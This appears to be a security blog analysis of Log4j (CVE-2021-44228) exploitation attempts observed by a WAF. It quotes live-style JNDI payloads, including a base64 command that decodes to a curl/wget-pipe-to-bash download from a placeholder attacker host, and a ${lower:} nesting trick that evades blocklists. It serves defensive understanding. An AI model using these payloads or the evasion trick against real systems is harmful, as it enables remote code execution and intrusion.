Anatomy of a Log4j zero-day: the actual exploitation attempts
The mass exploitation of CVE-2021-44228 in Apache Log4j has moved from theoretical concern to concrete reality. Scanning data from Cloudflare's WAF shows a steady stream of attackers testing for vulnerable systems, with the volume spiking to roughly 20,000 blocked exploit requests per minute at its peak. While that burst has tapered off, reconnaissance robots continued probing throughout the day, with anywhere from 200 to 400 unique IPs actively scanning at any given moment.
The geographic spread of attack sources skews heavily toward North America, with Canada accounting for the largest share followed by the United States.
Reconnaissance first
The majority of captured payloads are not actual break-ins but rather probes designed to confirm whether a server will evaluate the ${jndi} expression. The single most common blocked string is disarmingly compact:
${jndi:ldap://x.x.x.x/#Touch}
This simply causes the target server to reach out to an attacker-controlled LDAP endpoint, logging the vulnerable host's IP address. It tells the operator which targets are worth pursuing but nothing more.
The second most popular payload shows more sophistication, embedding the exploit in the User-Agent header and tagging it to identify the field that triggered the response:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
Other payloads reveal attackers actively fingerprinting their targets. One includes the connection scheme and local port to confirm that non-TLS traffic to port 443 is being processed:
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
In a more elaborate variation, attackers pair the exploit with a fake Googlebot User-Agent:
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
Some scanners encode the target's own details into the payload. One string includes the public Cloudflare IP being probed so the attacker can correlate a hit back to a specific host, while another embeds the target website's domain name into the LDAP request.
Although LDAP dominates as the exfiltration protocol, DNS-based callbacks also appear in the wild:
${jndi:dns://aeutbj.example.com/ext}
Toward code execution
One captured payload escalates from mere callback to attempted command execution using Java's ability to decode base64:
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
Decoded, the command chains common Linux utilities into a reverse shell bootstrap:
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
The output is discarded; the purpose is simply to signal the attacker that the target executed the payload. Even at this stage, the majority of activity is still better described as mass vulnerability scanning than targeted intrusion. The concern is what comes next. As attackers ascribe ownership to the hosts that respond, they can proceed to deploy real attacks at scale.
Evasion begins
Security teams hardening their systems with simple blocklists of ${jndi:ldap are already facing evasion attempts. Attackers are leveraging Log4j's own string-manipulation features, such as ${lower}, to obscure the protocol string:
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
This bypasses naive string matching while still resolving to the same LDAP lookup. Response teams will need to account for such nested expressions in any filter rules.
Cloudflare reports that its security teams are actively updating WAF and firewall rules as payloads evolve. Given how deeply Log4j is embedded in front-end and back-end systems, the full scope of this incident may take days to surface—and systems that appear unaffected today may still be compromised through logging paths that only trigger under specific conditions.



